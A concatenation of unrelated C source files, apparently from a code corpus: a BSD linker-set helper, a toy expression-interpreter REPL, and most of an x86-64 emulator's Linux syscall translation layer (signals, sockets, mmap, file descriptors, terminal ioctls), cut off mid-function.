printf("%s: %s, card %d\n", sc->sc_dev.dv_xname,
warned >= 10 ? "Too many tag errors" : "Resource timeout", c + 1);
return NULL;
}
|
23642.c | /*-
* Copyright (c) 1997 John D. Polstra
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* $FreeBSD: src/sys/alpha/alpha/setdef1.c,v 1.2.2.1 2000/07/03 19:59:44 mjacob Exp $
*/
#ifdef __ELF__
/*
* DEFINE_SET emits the NULL terminator for a set.
*/
#define DEFINE_SET(set, count) \
__asm__(".section .set." #set ",\"aw\""); \
__asm__(".quad 0"); \
__asm__(".previous")
#include "setdefs.h" /* Contains a `DEFINE_SET' for each set */
#endif /* __ELF__ */
|
554632.c | /**
* interpreter.c
*
* A simple line-based c interpreter currently used for testing.
*
* There are likely large errors with memory not being freed etc. I'll likely
* implement some memory pool structure for each phase to simplify this
* process.
*/
#include <stdio.h>
#include "lexer.h"
#include "token.h"
#include "parser.h"
#include "vec.h"
#include "eval.h"
VEC_DECLARE(token_t*, token);
int main(void)
{
vec_token_t *tokens = vec_token_init();
char buffer[512];
while (1) {
printf(" > ");
char *line = fgets(buffer, sizeof(buffer), stdin);
if (!line)
break;
/* Lex line */
lex_t *lctx = lex_init(line, STRING_BACKED);
vec_token_clear(tokens);
token_t *tok;
do {
tok = lex_token(lctx);
/* This is messy, but it doesn't matter */
if (tok == NULL) {
lex_free(lctx);
printf("Invalid Syntax\n");
goto retry;
}
vec_token_push(tokens, tok);
} while (tok->type != TOK_EOF);
lex_free(lctx);
/* Parse line */
rdp_t *rctx = rdp_init(tokens->data, tokens->len);
node_t *root = rdp_generate_ast(rctx);
rdp_free(rctx);
if (root) {
/* Evaluate AST and print */
eval_t *ectx = eval_init(root);
printf("%ld\n", eval_compute(ectx));
eval_free(ectx);
continue;
}
else {
printf("Invalid expression\n");
goto retry;
}
retry:;
}
return 0;
}
|
714460.c | /*-*- mode:c;indent-tabs-mode:nil;c-basic-offset:2;tab-width:8;coding:utf-8 -*-│
│vi: set net ft=c ts=2 sts=2 sw=2 fenc=utf-8 :vi│
╞══════════════════════════════════════════════════════════════════════════════╡
│ Copyright 2020 Justine Alexandra Roberts Tunney │
│ │
│ Permission to use, copy, modify, and/or distribute this software for │
│ any purpose with or without fee is hereby granted, provided that the │
│ above copyright notice and this permission notice appear in all copies. │
│ │
│ THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL │
│ WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED │
│ WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE │
│ AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL │
│ DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR │
│ PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER │
│ TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR │
│ PERFORMANCE OF THIS SOFTWARE. │
╚─────────────────────────────────────────────────────────────────────────────*/
#include "libc/calls/calls.h"
#include "libc/calls/internal.h"
#include "libc/calls/ioctl.h"
#include "libc/calls/struct/dirent.h"
#include "libc/calls/struct/iovec.h"
#include "libc/calls/struct/rusage.h"
#include "libc/calls/struct/sigaction-linux.internal.h"
#include "libc/calls/struct/sigaction.h"
#include "libc/calls/struct/stat.h"
#include "libc/calls/struct/termios.h"
#include "libc/calls/struct/timespec.h"
#include "libc/calls/struct/timeval.h"
#include "libc/calls/struct/tms.h"
#include "libc/calls/struct/utsname.h"
#include "libc/calls/struct/winsize.h"
#include "libc/errno.h"
#include "libc/fmt/fmt.h"
#include "libc/log/check.h"
#include "libc/log/log.h"
#include "libc/macros.internal.h"
#include "libc/mem/mem.h"
#include "libc/nexgen32e/vendor.internal.h"
#include "libc/runtime/gc.internal.h"
#include "libc/runtime/pc.internal.h"
#include "libc/runtime/runtime.h"
#include "libc/sock/select.h"
#include "libc/sock/sock.h"
#include "libc/str/str.h"
#include "libc/sysv/consts/af.h"
#include "libc/sysv/consts/at.h"
#include "libc/sysv/consts/clock.h"
#include "libc/sysv/consts/f.h"
#include "libc/sysv/consts/fd.h"
#include "libc/sysv/consts/ipproto.h"
#include "libc/sysv/consts/lock.h"
#include "libc/sysv/consts/madv.h"
#include "libc/sysv/consts/map.h"
#include "libc/sysv/consts/msync.h"
#include "libc/sysv/consts/o.h"
#include "libc/sysv/consts/ok.h"
#include "libc/sysv/consts/prot.h"
#include "libc/sysv/consts/rusage.h"
#include "libc/sysv/consts/sa.h"
#include "libc/sysv/consts/sig.h"
#include "libc/sysv/consts/so.h"
#include "libc/sysv/consts/sock.h"
#include "libc/sysv/consts/sol.h"
#include "libc/sysv/consts/ss.h"
#include "libc/sysv/consts/tcp.h"
#include "libc/sysv/consts/termios.h"
#include "libc/sysv/consts/w.h"
#include "libc/sysv/errfuns.h"
#include "libc/time/struct/timezone.h"
#include "libc/time/time.h"
#include "libc/x/x.h"
#include "tool/build/lib/case.h"
#include "tool/build/lib/endian.h"
#include "tool/build/lib/iovs.h"
#include "tool/build/lib/machine.h"
#include "tool/build/lib/memory.h"
#include "tool/build/lib/pml4t.h"
#include "tool/build/lib/syscall.h"
#include "tool/build/lib/throw.h"
#include "tool/build/lib/xlaterrno.h"
#define SA_RESTORER 0x04000000
#define AT_FDCWD_LINUX -100
#define TIOCGWINSZ_LINUX 0x5413
#define TCGETS_LINUX 0x5401
#define TCSETS_LINUX 0x5402
#define TCSETSW_LINUX 0x5403
#define TCSETSF_LINUX 0x5404
#define ISIG_LINUX 0b0000000000000001
#define ICANON_LINUX 0b0000000000000010
#define ECHO_LINUX 0b0000000000001000
#define OPOST_LINUX 0b0000000000000001
#define POINTER(x) ((void *)(intptr_t)(x))
#define UNPOINTER(x) ((int64_t)(intptr_t)(x))
#define SYSCALL(x, y) CASE(x, asm("# " #y); ax = y)
#define XLAT(x, y) CASE(x, return y)
#define PNN(x) ResolveAddress(m, x)
#define P(x) ((x) ? PNN(x) : 0)
#define ASSIGN(D, S) memcpy(&D, &S, MIN(sizeof(S), sizeof(D)))
const struct MachineFdCb kMachineFdCbHost = {
.close = close,
.readv = readv,
.poll = poll,
.writev = writev,
.ioctl = (void *)ioctl,
};
static int XlatSignal(int sig) {
switch (sig) {
XLAT(1, SIGHUP);
XLAT(2, SIGINT);
XLAT(3, SIGQUIT);
XLAT(4, SIGILL);
XLAT(5, SIGTRAP);
XLAT(6, SIGABRT);
XLAT(7, SIGBUS);
XLAT(8, SIGFPE);
XLAT(9, SIGKILL);
XLAT(10, SIGUSR1);
XLAT(11, SIGSEGV);
XLAT(13, SIGPIPE);
XLAT(14, SIGALRM);
XLAT(15, SIGTERM);
XLAT(21, SIGTTIN);
XLAT(22, SIGTTOU);
XLAT(24, SIGXCPU);
XLAT(25, SIGXFSZ);
XLAT(26, SIGVTALRM);
XLAT(27, SIGPROF);
XLAT(28, SIGWINCH);
XLAT(17, SIGCHLD);
XLAT(18, SIGCONT);
XLAT(29, SIGIO);
XLAT(19, SIGSTOP);
XLAT(31, SIGSYS);
XLAT(20, SIGTSTP);
XLAT(23, SIGURG);
XLAT(12, SIGUSR2);
XLAT(0x2000, SIGSTKSZ);
XLAT(30, SIGPWR);
XLAT(0x10, SIGSTKFLT);
default:
return einval();
}
}
static int XlatSig(int x) {
switch (x) {
XLAT(0, SIG_BLOCK);
XLAT(1, SIG_UNBLOCK);
XLAT(2, SIG_SETMASK);
default:
return einval();
}
}
static int XlatSocketFamily(int x) {
switch (x) {
XLAT(0, AF_INET);
XLAT(2, AF_INET);
default:
return epfnosupport();
}
}
static int XlatSocketType(int x) {
switch (x) {
XLAT(1, SOCK_STREAM);
XLAT(2, SOCK_DGRAM);
default:
return einval();
}
}
static int XlatSocketProtocol(int x) {
switch (x) {
XLAT(6, IPPROTO_TCP);
XLAT(17, IPPROTO_UDP);
default:
return einval();
}
}
static unsigned XlatSocketFlags(int flags) {
unsigned res = 0;
if (flags & 0x080000) res |= SOCK_CLOEXEC;
if (flags & 0x000800) res |= SOCK_NONBLOCK;
return res;
}
static int XlatSocketLevel(int x) {
switch (x) {
XLAT(0, SOL_IP);
XLAT(1, SOL_SOCKET);
XLAT(6, SOL_TCP);
XLAT(17, SOL_UDP);
default:
return einval();
}
}
static int XlatSocketOptname(int x) {
switch (x) {
XLAT(2, SO_REUSEADDR);
XLAT(15, SO_REUSEPORT);
XLAT(9, SO_KEEPALIVE);
XLAT(5, SO_DONTROUTE);
XLAT(7, SO_SNDBUF);
XLAT(8, SO_RCVBUF);
XLAT(13, SO_LINGER);
default:
return einval();
}
}
static int XlatMapFlags(int x) {
unsigned res = 0;
if (x & 1) res |= MAP_SHARED;
if (x & 2) res |= MAP_PRIVATE;
if (x & 16) res |= MAP_FIXED;
if (x & 32) res |= MAP_ANONYMOUS;
if (x & 256) res |= MAP_GROWSDOWN;
return res;
}
static int XlatAccess(int x) {
unsigned res = F_OK;
if (x & 1) res |= X_OK;
if (x & 2) res |= W_OK;
if (x & 4) res |= R_OK;
return res;
}
static int XlatSigaction(int x) {
unsigned res = 0;
if (x & 0x00000001) res |= SA_NOCLDSTOP;
if (x & 0x00000002) res |= SA_NOCLDWAIT;
if (x & 0x00000004) res |= SA_SIGINFO;
if (x & 0x04000000) res |= SA_RESTORER;
if (x & 0x08000000) res |= SA_ONSTACK;
if (x & 0x10000000) res |= SA_RESTART;
if (x & 0x40000000) res |= SA_NODEFER;
if (x & 0x40000000) res |= SA_NOMASK;
if (x & 0x80000000) res |= SA_RESETHAND;
if (x & 0x80000000) res |= SA_ONESHOT;
return res;
}
static int XlatSo(int x) {
switch (x) {
XLAT(-1, SO_EXCLUSIVEADDRUSE);
XLAT(1, SO_DEBUG);
XLAT(2, SO_REUSEADDR);
XLAT(3, SO_TYPE);
XLAT(4, SO_ERROR);
XLAT(5, SO_DONTROUTE);
XLAT(6, SO_BROADCAST);
XLAT(7, SO_SNDBUF);
XLAT(8, SO_RCVBUF);
XLAT(9, SO_KEEPALIVE);
XLAT(10, SO_OOBINLINE);
XLAT(13, SO_LINGER);
XLAT(15, SO_REUSEPORT);
XLAT(17, SO_PEERCRED);
XLAT(18, SO_RCVLOWAT);
XLAT(19, SO_SNDLOWAT);
XLAT(20, SO_RCVTIMEO);
XLAT(21, SO_SNDTIMEO);
XLAT(29, SO_TIMESTAMP);
XLAT(30, SO_ACCEPTCONN);
XLAT(38, SO_PROTOCOL);
XLAT(39, SO_DOMAIN);
XLAT(47, SO_MAX_PACING_RATE);
default:
return x;
}
}
static int XlatClock(int x) {
switch (x) {
XLAT(0, CLOCK_REALTIME);
XLAT(4, CLOCK_MONOTONIC);
default:
return x;
}
}
static int XlatTcp(int x) {
switch (x) {
XLAT(1, TCP_NODELAY);
XLAT(2, TCP_MAXSEG);
XLAT(4, TCP_KEEPIDLE);
XLAT(5, TCP_KEEPINTVL);
XLAT(6, TCP_KEEPCNT);
XLAT(23, TCP_FASTOPEN);
default:
return x;
}
}
static int XlatFd(struct Machine *m, int fd) {
if (!(0 <= fd && fd < m->fds.i)) return ebadf();
if (!m->fds.p[fd].cb) return ebadf();
return m->fds.p[fd].fd;
}
static int XlatAfd(struct Machine *m, int fd) {
if (fd == AT_FDCWD_LINUX) return AT_FDCWD;
return XlatFd(m, fd);
}
static int XlatAtf(int x) {
unsigned res = 0;
if (x & 0x0100) res |= AT_SYMLINK_NOFOLLOW;
if (x & 0x0200) res |= AT_REMOVEDIR;
if (x & 0x0400) res |= AT_SYMLINK_FOLLOW;
if (x & 0x1000) res |= AT_EMPTY_PATH;
return res;
}
static int XlatMsyncFlags(int x) {
unsigned res = 0;
if (x & 1) res |= MS_ASYNC;
if (x & 2) res |= MS_INVALIDATE;
if (x & 4) res |= MS_SYNC;
return res;
}
static unsigned XlatOpenMode(unsigned flags) {
switch (flags & 3) {
case 0:
return O_RDONLY;
case 1:
return O_WRONLY;
case 2:
return O_RDWR;
default:
unreachable;
}
}
static unsigned XlatOpenFlags(unsigned flags) {
unsigned res = 0;
res = XlatOpenMode(flags);
if (flags & 0x80000) res |= O_CLOEXEC;
if (flags & 0x400) res |= O_APPEND;
if (flags & 0x40) res |= O_CREAT;
if (flags & 0x80) res |= O_EXCL;
if (flags & 0x200) res |= O_TRUNC;
if (flags & 0x0800) res |= O_NDELAY;
if (flags & 0x4000) res |= O_DIRECT;
if (flags & 0x0800) res |= O_NONBLOCK;
if (flags & 0x1000) res |= O_DSYNC;
if (flags & 0x101000) res |= O_RSYNC;
if (flags & 0x040000) res |= O_NOATIME;
return res;
}
static int XlatFcntlCmd(int x) {
switch (x) {
XLAT(1, F_GETFD);
XLAT(2, F_SETFD);
XLAT(3, F_GETFL);
XLAT(4, F_SETFL);
default:
return einval();
}
}
static int XlatFcntlArg(int x) {
switch (x) {
XLAT(0, 0);
XLAT(1, FD_CLOEXEC);
XLAT(0x0800, O_NONBLOCK);
default:
return einval();
}
}
static int XlatAdvice(int x) {
switch (x) {
XLAT(0, MADV_NORMAL);
XLAT(1, MADV_RANDOM);
XLAT(2, MADV_SEQUENTIAL);
XLAT(3, MADV_WILLNEED);
XLAT(4, MADV_DONTNEED);
XLAT(8, MADV_FREE);
XLAT(12, MADV_MERGEABLE);
default:
return einval();
}
}
static int XlatLock(int x) {
unsigned res = 0;
if (x & 1) res |= LOCK_SH;
if (x & 2) res |= LOCK_EX;
if (x & 4) res |= LOCK_NB;
if (x & 8) res |= LOCK_UN;
return res;
}
static int XlatWait(int x) {
unsigned res = 0;
if (x & 1) res |= WNOHANG;
if (x & 2) res |= WUNTRACED;
if (x & 8) res |= WCONTINUED;
return res;
}
static int XlatRusage(int x) {
switch (x) {
XLAT(0, RUSAGE_SELF);
XLAT(-1, RUSAGE_CHILDREN);
XLAT(1, RUSAGE_THREAD);
default:
return einval();
}
}
static const char *GetSimulated(void) {
if (IsGenuineCosmo()) {
return " SIMULATED";
} else {
return "";
}
}
static int AppendIovsReal(struct Machine *m, struct Iovs *ib, int64_t addr,
size_t size) {
void *real;
size_t have;
unsigned got;
while (size) {
if (!(real = FindReal(m, addr))) return efault();
have = 0x1000 - (addr & 0xfff);
got = MIN(size, have);
if (AppendIovs(ib, real, got) == -1) return -1;
addr += got;
size -= got;
}
return 0;
}
static int AppendIovsGuest(struct Machine *m, struct Iovs *iv, int64_t iovaddr,
long iovlen) {
int rc;
size_t i, iovsize;
struct iovec *guestiovs;
if (!__builtin_mul_overflow(iovlen, sizeof(struct iovec), &iovsize) &&
(0 <= iovsize && iovsize <= 0x7ffff000)) {
if ((guestiovs = malloc(iovsize))) {
VirtualSendRead(m, guestiovs, iovaddr, iovsize);
for (rc = i = 0; i < iovlen; ++i) {
if (AppendIovsReal(m, iv, (intptr_t)guestiovs[i].iov_base,
guestiovs[i].iov_len) == -1) {
rc = -1;
break;
}
}
free(guestiovs);
} else {
rc = enomem();
}
} else {
rc = eoverflow();
}
return rc;
}
static struct sigaction *CoerceSigactionToCosmo(
struct sigaction *dst, const struct sigaction_linux *src) {
if (!src) return NULL;
bzero(dst, sizeof(*dst));
ASSIGN(dst->sa_handler, src->sa_handler);
ASSIGN(dst->sa_restorer, src->sa_restorer);
ASSIGN(dst->sa_flags, src->sa_flags);
ASSIGN(dst->sa_mask, src->sa_mask);
return dst;
}
static struct sigaction_linux *CoerceSigactionToLinux(
struct sigaction_linux *dst, const struct sigaction *src) {
if (!dst) return NULL;
bzero(dst, sizeof(*dst));
ASSIGN(dst->sa_handler, src->sa_handler);
ASSIGN(dst->sa_restorer, src->sa_restorer);
ASSIGN(dst->sa_flags, src->sa_flags);
ASSIGN(dst->sa_mask, src->sa_mask);
return dst;
}
static int OpArchPrctl(struct Machine *m, int code, int64_t addr) {
switch (code) {
case ARCH_SET_GS:
Write64(m->gs, addr);
return 0;
case ARCH_SET_FS:
Write64(m->fs, addr);
return 0;
case ARCH_GET_GS:
VirtualRecvWrite(m, addr, m->gs, 8);
return 0;
case ARCH_GET_FS:
VirtualRecvWrite(m, addr, m->fs, 8);
return 0;
default:
return einval();
}
}
static int OpMprotect(struct Machine *m, int64_t addr, uint64_t len, int prot) {
return 0;
}
static int OpMadvise(struct Machine *m, int64_t addr, size_t length,
int advice) {
return enosys();
}
static int64_t OpBrk(struct Machine *m, int64_t addr) {
addr = ROUNDUP(addr, PAGESIZE);
if (addr > m->brk) {
if (ReserveVirtual(m, m->brk, addr - m->brk,
PAGE_V | PAGE_RW | PAGE_U | PAGE_RSRV) != -1) {
m->brk = addr;
}
} else if (addr < m->brk) {
if (FreeVirtual(m, addr, m->brk - addr) != -1) {
m->brk = addr;
}
}
return m->brk;
}
static int OpMunmap(struct Machine *m, int64_t virt, uint64_t size) {
VERBOSEF("MUNMAP%s %012lx %,ld", GetSimulated(), virt, size);
return FreeVirtual(m, virt, size);
}
static int64_t OpMmap(struct Machine *m, int64_t virt, size_t size, int prot,
int flags, int fd, int64_t offset) {
void *tmp;
uint64_t key;
VERBOSEF("MMAP%s %012lx %,ld %#x %#x %d %#lx", GetSimulated(), virt, size,
prot, flags, fd, offset);
if (prot & PROT_READ) {
key = PAGE_RSRV | PAGE_U | PAGE_V;
if (prot & PROT_WRITE) key |= PAGE_RW;
if (!(prot & PROT_EXEC)) key |= PAGE_XD;
if (flags & 256 /* MAP_GROWSDOWN */) key |= PAGE_GROD;
flags = XlatMapFlags(flags);
if (fd != -1 && (fd = XlatFd(m, fd)) == -1) return -1;
if (!(flags & MAP_FIXED)) {
if (!virt) {
if ((virt = FindVirtual(m, m->brk, size)) == -1) return -1;
m->brk = virt + size;
} else {
if ((virt = FindVirtual(m, virt, size)) == -1) return -1;
}
}
if (ReserveVirtual(m, virt, size, key) != -1) {
if (fd != -1 && !(flags & MAP_ANONYMOUS)) {
/* TODO: lazy file mappings */
CHECK_NOTNULL((tmp = malloc(size)));
CHECK_EQ(size, pread(fd, tmp, size, offset));
VirtualRecvWrite(m, virt, tmp, size);
free(tmp);
}
} else {
FreeVirtual(m, virt, size);
return -1;
}
return virt;
} else {
return FreeVirtual(m, virt, size);
}
}
static int OpMsync(struct Machine *m, int64_t virt, size_t size, int flags) {
return enosys();
#if 0
size_t i;
void *page;
virt = ROUNDDOWN(virt, 4096);
flags = XlatMsyncFlags(flags);
for (i = 0; i < size; i += 4096) {
if (!(page = FindReal(m, virt + i))) return efault();
if (msync(page, 4096, flags) == -1) return -1;
}
return 0;
#endif
}
static int OpClose(struct Machine *m, int fd) {
int rc;
struct FdClosed *closed;
if (!(0 <= fd && fd < m->fds.i)) return ebadf();
if (!m->fds.p[fd].cb) return ebadf();
rc = m->fds.p[fd].cb->close(m->fds.p[fd].fd);
MachineFdRemove(&m->fds, fd);
return rc;
}
static int OpOpenat(struct Machine *m, int dirfd, int64_t pathaddr, int flags,
int mode) {
int fd, i;
const char *path;
flags = XlatOpenFlags(flags);
if ((dirfd = XlatAfd(m, dirfd)) == -1) return -1;
if ((i = MachineFdAdd(&m->fds)) == -1) return -1;
path = LoadStr(m, pathaddr);
if ((fd = openat(dirfd, path, flags, mode)) != -1) {
m->fds.p[i].cb = &kMachineFdCbHost;
m->fds.p[i].fd = fd;
VERBOSEF("openat(%#x, %`'s, %#x, %#x) → %d [%d]", dirfd, path, flags, mode,
i, fd);
fd = i;
} else {
MachineFdRemove(&m->fds, i);
VERBOSEF("openat(%#x, %`'s, %#x, %#x) failed", dirfd, path, flags, mode);
}
return fd;
}
static int OpPipe(struct Machine *m, int64_t pipefds_addr) {
int i, j, pipefds[2];
if ((i = MachineFdAdd(&m->fds)) != -1) {
if ((j = MachineFdAdd(&m->fds)) != -1) {
if (pipe(pipefds) != -1) {
m->fds.p[i].cb = &kMachineFdCbHost;
m->fds.p[i].fd = pipefds[0];
m->fds.p[j].cb = &kMachineFdCbHost;
m->fds.p[j].fd = pipefds[1];
pipefds[0] = i;
pipefds[1] = j;
VirtualRecvWrite(m, pipefds_addr, pipefds, sizeof(pipefds));
return 0;
}
MachineFdRemove(&m->fds, j);
}
MachineFdRemove(&m->fds, i);
}
return -1;
}
static int OpDup(struct Machine *m, int fd) {
int i;
if ((fd = XlatFd(m, fd)) != -1) {
if ((i = MachineFdAdd(&m->fds)) != -1) {
if ((fd = dup(fd)) != -1) {
m->fds.p[i].cb = &kMachineFdCbHost;
m->fds.p[i].fd = fd;
return i;
}
MachineFdRemove(&m->fds, i);
}
}
return -1;
}
static int OpDup2(struct Machine *m, int fd, int newfd) {
int i, rc;
if ((fd = XlatFd(m, fd)) == -1) return -1;
if ((0 <= newfd && newfd < m->fds.i)) {
if ((rc = dup2(fd, m->fds.p[newfd].fd)) != -1) {
m->fds.p[newfd].cb = &kMachineFdCbHost;
m->fds.p[newfd].fd = rc;
rc = newfd;
}
} else if ((i = MachineFdAdd(&m->fds)) != -1) {
if ((rc = dup(fd)) != -1) {
m->fds.p[i].cb = &kMachineFdCbHost;
m->fds.p[i].fd = rc;
rc = i;
}
} else {
rc = -1;
}
return rc;
}
static int OpSocket(struct Machine *m, int family, int type, int protocol) {
int i, fd;
if ((family = XlatSocketFamily(family)) == -1) return -1;
if ((type = XlatSocketType(type)) == -1) return -1;
if ((protocol = XlatSocketProtocol(protocol)) == -1) return -1;
if ((i = MachineFdAdd(&m->fds)) == -1) return -1;
if ((fd = socket(family, type, protocol)) != -1) {
m->fds.p[i].cb = &kMachineFdCbHost;
m->fds.p[i].fd = fd;
fd = i;
} else {
MachineFdRemove(&m->fds, i);
}
return fd;
}
static int OpAccept4(struct Machine *m, int fd, int64_t addraddr,
int64_t addrsizeaddr, int flags) {
int i, rc;
void *addr;
uint8_t b[4];
uint32_t addrsize;
if ((fd = XlatFd(m, fd)) == -1) return -1;
VirtualSendRead(m, b, addrsizeaddr, 4);
addrsize = Read32(b);
if (!(addr = malloc(addrsize))) return -1;
if ((i = rc = MachineFdAdd(&m->fds)) != -1) {
if ((rc = accept4(fd, addr, &addrsize, XlatSocketFlags(flags))) != -1) {
Write32(b, addrsize);
VirtualRecv(m, addrsizeaddr, b, 4);
VirtualRecvWrite(m, addraddr, addr, addrsize);
m->fds.p[i].cb = &kMachineFdCbHost;
m->fds.p[i].fd = rc;
rc = i;
} else {
MachineFdRemove(&m->fds, i);
}
}
free(addr);
return rc;
}
static int OpConnectBind(struct Machine *m, int fd, intptr_t addraddr,
uint32_t addrsize,
int impl(int, const void *, uint32_t)) {
int rc;
void *addr;
if ((fd = XlatFd(m, fd)) == -1) return -1;
if (!(addr = malloc(addrsize))) return -1;
VirtualSendRead(m, addr, addraddr, addrsize);
rc = impl(fd, addr, addrsize);
free(addr);
return rc;
}
static int OpBind(struct Machine *m, int fd, intptr_t addraddr,
uint32_t addrsize) {
return OpConnectBind(m, fd, addraddr, addrsize, bind);
}
static int OpConnect(struct Machine *m, int fd, int64_t addraddr,
uint32_t addrsize) {
return OpConnectBind(m, fd, addraddr, addrsize, connect);
}
static int OpSetsockopt(struct Machine *m, int fd, int level, int optname,
int64_t optvaladdr, uint32_t optvalsize) {
int rc;
void *optval;
if ((level = XlatSocketLevel(level)) == -1) return -1;
if ((optname = XlatSocketOptname(optname)) == -1) return -1;
if ((fd = XlatFd(m, fd)) == -1) return -1;
if (!(optval = malloc(optvalsize))) return -1;
VirtualSendRead(m, optval, optvaladdr, optvalsize);
rc = setsockopt(fd, level, optname, optval, optvalsize);
free(optval);
return rc;
}
static ssize_t OpRead(struct Machine *m, int fd, int64_t addr, size_t size) {
ssize_t rc;
struct Iovs iv;
InitIovs(&iv);
if ((0 <= fd && fd < m->fds.i) && m->fds.p[fd].cb) {
if ((rc = AppendIovsReal(m, &iv, addr, size)) != -1) {
if ((rc = m->fds.p[fd].cb->readv(m->fds.p[fd].fd, iv.p, iv.i)) != -1) {
SetWriteAddr(m, addr, rc);
}
}
} else {
rc = ebadf();
}
FreeIovs(&iv);
return rc;
}
static int OpGetdents(struct Machine *m, int dirfd, int64_t addr,
uint32_t size) {
int rc;
DIR *dir;
struct dirent *ent;
if (size < sizeof(struct dirent)) return einval();
if (0 <= dirfd && dirfd < m->fds.i) {
if ((dir = fdopendir(m->fds.p[dirfd].fd))) {
rc = 0;
while (rc + sizeof(struct dirent) <= size) {
if (!(ent = readdir(dir))) break;
VirtualRecvWrite(m, addr + rc, ent, ent->d_reclen);
rc += ent->d_reclen;
}
free(dir);
} else {
rc = -1;
}
} else {
rc = ebadf();
}
return rc;
}
static ssize_t OpPread(struct Machine *m, int fd, int64_t addr, size_t size,
int64_t offset) {
ssize_t rc;
struct Iovs iv;
InitIovs(&iv);
if ((rc = XlatFd(m, fd)) != -1) {
fd = rc;
if ((rc = AppendIovsReal(m, &iv, addr, size)) != -1) {
if ((rc = preadv(fd, iv.p, iv.i, offset)) != -1) {
SetWriteAddr(m, addr, rc);
}
}
}
FreeIovs(&iv);
return rc;
}
static ssize_t OpWrite(struct Machine *m, int fd, int64_t addr, size_t size) {
ssize_t rc;
struct Iovs iv;
InitIovs(&iv);
if ((0 <= fd && fd < m->fds.i) && m->fds.p[fd].cb) {
if ((rc = AppendIovsReal(m, &iv, addr, size)) != -1) {
if ((rc = m->fds.p[fd].cb->writev(m->fds.p[fd].fd, iv.p, iv.i)) != -1) {
SetReadAddr(m, addr, rc);
} else {
VERBOSEF("write(%d [%d], %012lx, %zu) failed: %s", fd, m->fds.p[fd].fd,
addr, size, strerror(errno));
}
}
} else {
VERBOSEF("write(%d, %012lx, %zu) bad fd", fd, addr, size);
rc = ebadf();
}
FreeIovs(&iv);
return rc;
}
static ssize_t OpPwrite(struct Machine *m, int fd, int64_t addr, size_t size,
int64_t offset) {
ssize_t rc;
struct Iovs iv;
InitIovs(&iv);
if ((rc = XlatFd(m, fd)) != -1) {
fd = rc;
if ((rc = AppendIovsReal(m, &iv, addr, size)) != -1) {
if ((rc = pwritev(fd, iv.p, iv.i, offset)) != -1) {
SetReadAddr(m, addr, rc);
}
}
}
FreeIovs(&iv);
return rc;
}
static int IoctlTiocgwinsz(struct Machine *m, int fd, int64_t addr,
int (*fn)(int, uint64_t, void *)) {
int rc;
struct winsize ws;
if ((rc = fn(fd, TIOCGWINSZ, &ws)) != -1) {
VirtualRecvWrite(m, addr, &ws, sizeof(ws));
}
return rc;
}
static int IoctlTcgets(struct Machine *m, int fd, int64_t addr,
int (*fn)(int, uint64_t, void *)) {
int rc;
struct termios tio, tio2;
if ((rc = fn(fd, TCGETS, &tio)) != -1) {
memcpy(&tio2, &tio, sizeof(tio));
tio2.c_iflag = 0;
if (tio.c_lflag & ISIG) tio2.c_lflag |= ISIG_LINUX;
if (tio.c_lflag & ICANON) tio2.c_lflag |= ICANON_LINUX;
if (tio.c_lflag & ECHO) tio2.c_lflag |= ECHO_LINUX;
tio2.c_oflag = 0;
if (tio.c_oflag & OPOST) tio2.c_oflag |= OPOST_LINUX;
VirtualRecvWrite(m, addr, &tio2, sizeof(tio2));
}
return rc;
}
static int IoctlTcsets(struct Machine *m, int fd, int64_t request, int64_t addr,
int (*fn)(int, uint64_t, void *)) {
struct termios tio, tio2;
VirtualSendRead(m, &tio, addr, sizeof(tio));
memcpy(&tio2, &tio, sizeof(tio));
tio2.c_iflag = 0;
if (tio.c_lflag & ISIG_LINUX) tio2.c_lflag |= ISIG;
if (tio.c_lflag & ICANON_LINUX) tio2.c_lflag |= ICANON;
if (tio.c_lflag & ECHO_LINUX) tio2.c_lflag |= ECHO;
tio2.c_oflag = 0;
if (tio.c_oflag & OPOST_LINUX) tio2.c_oflag |= OPOST;
return fn(fd, request, &tio2);
}
static int OpIoctl(struct Machine *m, int fd, uint64_t request, int64_t addr) {
int (*fn)(int, uint64_t, void *);
if (!(0 <= fd && fd < m->fds.i) || !m->fds.p[fd].cb) return ebadf();
fn = m->fds.p[fd].cb->ioctl;
fd = m->fds.p[fd].fd;
switch (request) {
case TIOCGWINSZ_LINUX:
return IoctlTiocgwinsz(m, fd, addr, fn);
case TCGETS_LINUX:
return IoctlTcgets(m, fd, addr, fn);
case TCSETS_LINUX:
return IoctlTcsets(m, fd, TCSETS, addr, fn);
case TCSETSW_LINUX:
return IoctlTcsets(m, fd, TCSETSW, addr, fn);
case TCSETSF_LINUX:
return IoctlTcsets(m, fd, TCSETSF, addr, fn);
default:
return einval();
}
}
static ssize_t OpReadv(struct Machine *m, int fd, int64_t iovaddr, int iovlen) {
